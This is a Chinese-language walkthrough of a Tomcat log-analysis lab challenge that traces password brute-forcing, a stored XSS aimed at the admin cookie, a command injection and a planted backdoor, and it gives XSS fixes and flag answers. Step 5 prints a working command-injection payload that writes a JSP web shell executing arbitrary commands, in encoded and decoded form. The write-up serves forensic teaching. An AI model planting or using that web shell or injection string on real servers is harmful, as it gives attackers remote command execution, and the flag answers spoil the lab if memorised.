玄机靶场 | 日志分析-Tomcat日志分析
文章目录
- 一、前言
- 二、索引
- 三、题目列表
- 步骤#1
- Tomcat日志所在的绝对路径是?
- 步骤#2
- 攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?
- 步骤#3
- 请你判断其服务器上用于盗取cookie而监听的端口是?
- 步骤#4
- 攻击者利用执行系统命令的参数是?
- 步骤#5
- 攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag
一、前言
小王在自己的服务器上安装配置了Tomcat,并写了几个简单的网页。但由于安全意识不足,很快就被攻击者利用了。请你帮他排查一下存在的安全问题
RDP 端口3389 用户名/密码:Administrator/4210bf@
二、索引
三、题目列表
步骤#1
Tomcat日志所在的绝对路径是?
首先连接目标电脑,在C盘中可以看到server目录,根据名字猜测是提供服务的
点进去可以看到tomcat目录
打开目录文件,在里面找到logs目录,然后复制路径即可
flag{C:\server\apache-tomcat-11.0.5\logs}
步骤#2
攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?
我们打开logs目录,可以看到里面有个日志占用空间较大
打开文件进行分析,前面是攻击者在进行目录扫描,然后后面有个关键的地方
这里攻击者访问了/demo/admin.jsp
,但是由于没有凭证随后重定向到登录界面,也就是login.jsp
,接着就开始对网站进行口令爆破
可以看到,在经历了大量了爆破之后也是成功登入了系统,状态码显示302,然后跳转到/demo/admin.jsp
因此判断口令成功匹配的响应码就是302
flag{302}
步骤#3
请你判断其服务器上用于盗取cookie而监听的端口是?
题目描述:攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie,并将其发送至其本地服务器上。
题目提示攻击者向admin.jsp
发送恶意代码,结合前面的日志,我们可知该文件位于/demo
目录里面
里面有个messages.txt
,打开后可以看到里面存储了管理员留言板接收到的信息
这个js语句就是攻击者用来窃取管理员cookie的,因此用来监听的端口就是5000
flag{5000}
接下来我们分析一下admin.jsp
中的漏洞代码,里面有个代码片段用于显示留言
<h2>所有留言</h2><ul><% if (messages != null && !messages.isEmpty()) {for (String message : messages) {%><li><%= message %></li><%}} %></ul>
其中关键就是<li><%= message %></li>
,它使用了 JSP 的表达式 <%= ... %>
直接将从文件中读取的 message
字符串未经任何处理就输出到 HTML 页面上
攻击者提交的留言内容会原封不动地保存到messages.txt
文件里,浏览器在解析 HTML 时,会把 <script>
标签当作可执行代码来运行,从而触发XSS漏洞
修复建议就是对输出的 message
变量进行HTML 实体编码
修复前:
<li><%= message %></li>
修复后:
<%@ page import="org.apache.commons.lang3.StringEscapeUtils" %>
// ...
<li><%= StringEscapeUtils.escapeHtml4(message) %></li>
或者使用JSTL标签库
首先在JSP页面顶部引入JSTL核心标签库
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
然后使用 <c:out>
标签来输出内容,它默认就会进行HTML编码
<c:forEach var="message" items="${messages}"><li><c:out value="${message}" /></li>
</c:forEach>
步骤#4
攻击者利用执行系统命令的参数是?
回到刚才的log日志,在最下面可以看到有个文件传递了系统命令内容
该文件原本可能是用于接收IP地址并执行网络命令的(如 ping
或 traceroute
),攻击者没有输入一个正常的IP地址,而是通过命令连接符 &&
执行系统命令,因此参数就是ip
flag{ip}
步骤#5
攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag
同样也是刚才的日志文件,看最下面那行的参数内容
ip=8.8.8.8+%26%26+echo+%5E%3C%25%40+page+language%3D%22java%22+import%3D%22java.util.*%2Cjava.io.*%22+%25%5E%3E%5E%3C%25+String+cmd+%3D+request.getParameter%28%22cmd%22%29%3B+if+%28cmd+%21%3D+null%29+%7B+Process+p+%3D+Runtime.getRuntime%28%29.exec%28cmd%29%3B+BufferedReader+reader+%3D+new+BufferedReader%28new+InputStreamReader%28p.getInputStream%28%29%29%29%3B+String+line%3B+while+%28%28line+%3D+reader.readLine%28%29%29+%21%3D+null%29+%7B+out.println%28line+%2B+%22%5E%3Cbr%5E%3E%22%29%3B+%7D+%7D+%25%5E%3E+%3E+C%3A%5Cserver%5Capache-tomcat-11.0.5%5Cwebapps%5CROOT%5Chello.jsp HTTP/1.1" 200 1349
URL解码,查看原始内容
ip=8.8.8.8 && echo ^<%@ page language="java" import="java.util.*,java.io.*" %^>^<% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line + "^<br^>"); } } %^> > C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp HTTP/1.1" 200 1349
可以看到攻击者把代码写进了C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp
我们简单分析这个后门代码
<%@ page language="java" import="java.util.*,java.io.*" %>
<%// 从URL请求中获取名为 "cmd" 的参数String cmd = request.getParameter("cmd");// 如果 "cmd" 参数存在if (cmd != null) {// 在服务器上执行该参数的值作为一个系统命令Process p = Runtime.getRuntime().exec(cmd);// 读取该命令执行后的输出结果BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));String line;// 将输出结果逐行打印到网页上while ((line = reader.readLine()) != null) {out.println(line + "<br>");}}
%>
文件上传后,攻击者只需要访问/hello.jsp?cmd=
即可执行系统命令
我们找到这个文件,查看里面的内容
可以看到里面有个注释写了flag
/* 疑似flag? eW91bWFkZWl0 */
但是如果直接提交的话是不行的,需要进行base64解码后再提交
flag{youmadeit}